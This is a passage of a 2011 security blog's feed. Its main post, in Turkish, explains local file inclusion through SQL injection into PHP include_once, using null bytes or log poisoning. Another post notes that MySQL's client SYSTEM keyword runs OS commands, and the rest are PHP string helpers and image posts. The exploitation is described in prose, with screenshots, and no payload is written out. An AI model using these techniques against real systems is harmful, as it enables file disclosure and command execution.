&lt;div id=&quot;yazi&quot; style=&quot;color: #383838; min-height: 110px;&quot;&gt;&lt;div style=&quot;color: #383838;&quot;&gt;SQL Injection üzerinden LFI bug’ları yakalamak her zaman karşılaşılabilecek bir durum olmasa bile karşılaşıldığı zaman çok kullanışlı olabilen bir zafiyet türü. Söz konusu zafiyet, uygulamanın DBMS’te yaptığı sorgu sonucunda dönen kolonlara ait verileri include, require, include_once, require_once gibi fonksiyonlara parametre olarak verdiğinde ortaya çıkmakta.&lt;span id=&quot;more-310&quot;&gt;&lt;/span&gt;Eğer şanslıysanız, aşağıdaki gibi PHP’nin vereceği hata mesajlarından böyle eğlenceli bir bug’ı yakaladığınızı tespite debilirsiniz.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot; &quot; height=&quot;157&quot; src=&quot;http://adeosecurity.com/images/lfioversqli/1.png&quot; style=&quot;margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 5px; padding-right: 5px;&quot; width=&quot;400&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #383838; line-height: 18px;&quot;&gt;&lt;b&gt;Şekil 1:&lt;/b&gt;&amp;nbsp;include_once hata mesajı&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;Şekil 3′teki kaynak kodda görebileceğiniz üzere &lt;b&gt;$menu_id&lt;/b&gt; değişkeni (bizim kontrolümüzde olan değişken) sorguya dahil edilmekte. Daha sonra &lt;b&gt;$cp_boxes&lt;/b&gt; değişkeninde saklanan MySQL Resource’e ait “&lt;b&gt;dashboard_id&lt;/b&gt;” isimli kolon Şekil4′te göreceğiniz üzere &lt;b&gt;$dashboard_id&lt;/b&gt; değişkenine atanmakta ve &lt;b&gt;include_once&lt;/b&gt; fonksiyonunun parametresinde kullanılmakta.&lt;br /&gt;
&lt;br /&gt;
İlgili örnekte sorgudan dönen 5.kolon &lt;strong&gt;include_once&lt;/strong&gt; fonksiyonuna atanmakta. &lt;strong&gt;include_once&lt;/strong&gt; fonksiyonu 5.kolon’daki müdahele ettiğimiz değeri (&lt;em&gt;örneğimizde bu değer 999999&lt;/em&gt;), dosya sisteminde bulamadığı için hata mesajı veriyor. NULL Byte enjekte ederek yerel dosya sistemindeki dosyaları okuyabilmemiz yada log dosyalarını zehirleyerek komut çalıştırabilmemiz mümkün. &lt;b&gt;&lt;i&gt;[1]&lt;/i&gt;&lt;/b&gt; Şekil 2’de göreceğiniz üzere bu açıklığı kolay bir şekilde exploit edebildik.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://adeosecurity.com/images/lfioversqli/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;288&quot; src=&quot;http://adeosecurity.com/images/lfioversqli/2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Şekil 2:&lt;/b&gt; Explotiation&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
Şekil 3′teki kaynak kodda görebileceğiniz üzere &lt;strong&gt;$menu_id&lt;/strong&gt; değişkeni (&lt;em&gt;bizim kontrolümüzde olan değişken&lt;/em&gt;) sorguya dahil edilmekte. Daha sonra &lt;strong&gt;$cp_boxes&lt;/strong&gt; değişkeninde saklanan MySQL Resource’e ait “&lt;strong&gt;dashboard_id&lt;/strong&gt;” isimli kolon Şekil4′te göreceğiniz üzere &lt;strong&gt;$dashboard_id&lt;/strong&gt; değişkenine atanmakta ve &lt;strong&gt;include_once&lt;/strong&gt; fonksiyonunun parametresinde kullanılmakta.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;a href=&quot;http://www.blogger.com/goog_879552721&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;15&quot; src=&quot;http://adeosecurity.com/images/lfioversqli/3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Şekil 3:&lt;/b&gt; SQL Injection içeren kod bölümü&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;  &quot; height=&quot;52&quot; src=&quot;http://adeosecurity.com/images/lfioversqli/4.png&quot; style=&quot;margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 5px; padding-right: 5px;&quot; width=&quot;400&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Şekil 4:&lt;/b&gt; SQL Injection üzerinden LFI gerçekleşen kod bölümü&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
[1] -&amp;nbsp;&lt;a href=&quot;http://www.adeosecurity.com/guvenlik/gelismis-file-inclusion-saldirilari/&quot;&gt;http://www.adeosecurity.com/guvenlik/gelismis-file-inclusion-saldirilari/&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/8061059580078243540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/04/sql-injection-uzerinden-lfi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/8061059580078243540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/8061059580078243540'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/04/sql-injection-uzerinden-lfi.html' title='SQL Injection Üzerinden LFI'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-4439059215875770332</id><published>2011-04-12T21:45:00.000+03:00</published><updated>2011-04-12T21:45:27.231+03:00</updated><title type='text'>time is now</title><content type='html'>Her seferinde tam vakti deyip erteleyenler için ideal.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.ritholtz.com/blog/wp-content/uploads/2011/04/The-Time-Is-Now.png&quot; imageanchor=&quot;1&quot; style=&quot;clear:left; float:left;margin-right:1em; margin-bottom:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;590&quot; width=&quot;450&quot; src=&quot;http://www.ritholtz.com/blog/wp-content/uploads/2011/04/The-Time-Is-Now.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/4439059215875770332/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/04/time-is-now.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4439059215875770332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4439059215875770332'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/04/time-is-now.html' title='time is now'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-389436297527743993</id><published>2011-02-24T00:29:00.000+02:00</published><updated>2011-02-24T00:29:11.789+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="coding"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><title type='text'>is_lower() and is_upper()</title><content type='html'>In this post i will share my functions is_lower and is_upper. I coded them for determinening is string lower case or upper case. Idea is simple. Get each char with substring, after that convert it to ascii (with ord function) and in condition clause look for its range (97-122 lower case chars and 65-90 upper case chars). Here is functions..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;is_lower:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote&gt;function is_lower($string) {&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;for ($i = 0; $i &amp;lt; strlen($string); $i++) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;$ch = ord(substr($string, $i, 1));&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if (!(($ch &amp;gt; 96) &amp;amp;&amp;amp; ($ch &amp;lt; 123))) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return false;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;return true;&lt;br /&gt;
}&lt;/blockquote&gt;&lt;br /&gt;
&lt;b&gt;is_upper:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote&gt;function is_upper($string) {&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;for ($i = 0; $i &amp;lt; strlen($string); $i++) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;$ch = ord(substr($string, $i, 1));&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if (!(($ch &amp;gt; 64) &amp;amp;&amp;amp; $ch &amp;lt; 91)) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return false;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;return true;&lt;br /&gt;
}&lt;br /&gt;
&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/389436297527743993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/02/islower-and-isupper.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/389436297527743993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/389436297527743993'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/02/islower-and-isupper.html' title='is_lower() and is_upper()'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-481401404811401693</id><published>2011-02-17T00:06:00.000+02:00</published><updated>2011-02-17T00:06:53.988+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>do you think are you secure?</title><content type='html'>Cok komik bir resim, internette daha önceden de dolaşıyordu bugun tekrar rastladım paylasayim dedim. Gercekten kilidin orada olmasi guvende hissi veriyor mu insana? zayif halkalarin plastik seritle tutturulmasina ragmen :&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;- do you think are you secure?&lt;br /&gt;
- yeah i have a lock, i am secure&lt;br /&gt;
- think again&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://i.imgur.com/rGtgr.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;239&quot; src=&quot;http://i.imgur.com/rGtgr.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/481401404811401693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/02/do-you-think-are-you-secure.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/481401404811401693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/481401404811401693'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/02/do-you-think-are-you-secure.html' title='do you think are you secure?'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-2227025107032328247</id><published>2011-02-16T14:24:00.000+02:00</published><updated>2011-02-16T14:24:59.199+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="mysql"/><category scheme="http://www.blogger.com/atom/ns#" term="remote command execution"/><title type='text'>MySQL Code Execution</title><content type='html'>I really embarrassed when i see SYSTEM keyword on MySQL allows execute OS Commands on current system(where mysql daemon runs). Yeah i embarrassed because i don&#39;t know it and have no idea about it (Yes i was know code execution with User Defined Functions). It&#39;s really simple.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLQQdp-dw7nMyPxrpl6SR3AMDUdenC_xvQWC5eWhv_T_ibfawvcsF-b7ZGARkwreNp9JrfACc2JMVkoEHums-cfvQfN826QLlAvcJQvez8MeITIJj2u53qUuVAXQfuWTI5dMUayddbGVXZ/s1600/mysql_cmd.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;72&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLQQdp-dw7nMyPxrpl6SR3AMDUdenC_xvQWC5eWhv_T_ibfawvcsF-b7ZGARkwreNp9JrfACc2JMVkoEHums-cfvQfN826QLlAvcJQvez8MeITIJj2u53qUuVAXQfuWTI5dMUayddbGVXZ/s400/mysql_cmd.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Is it really cool ha?</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/2227025107032328247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2011/02/mysql-code-execution.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/2227025107032328247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/2227025107032328247'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2011/02/mysql-code-execution.html' title='MySQL Code Execution'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLQQdp-dw7nMyPxrpl6SR3AMDUdenC_xvQWC5eWhv_T_ibfawvcsF-b7ZGARkwreNp9JrfACc2JMVkoEHums-cfvQfN826QLlAvcJQvez8MeITIJj2u53qUuVAXQfuWTI5dMUayddbGVXZ/s72-c/mysql_cmd.png" height="72" width="72"/><thr:total>1</thr:total></entry></feed>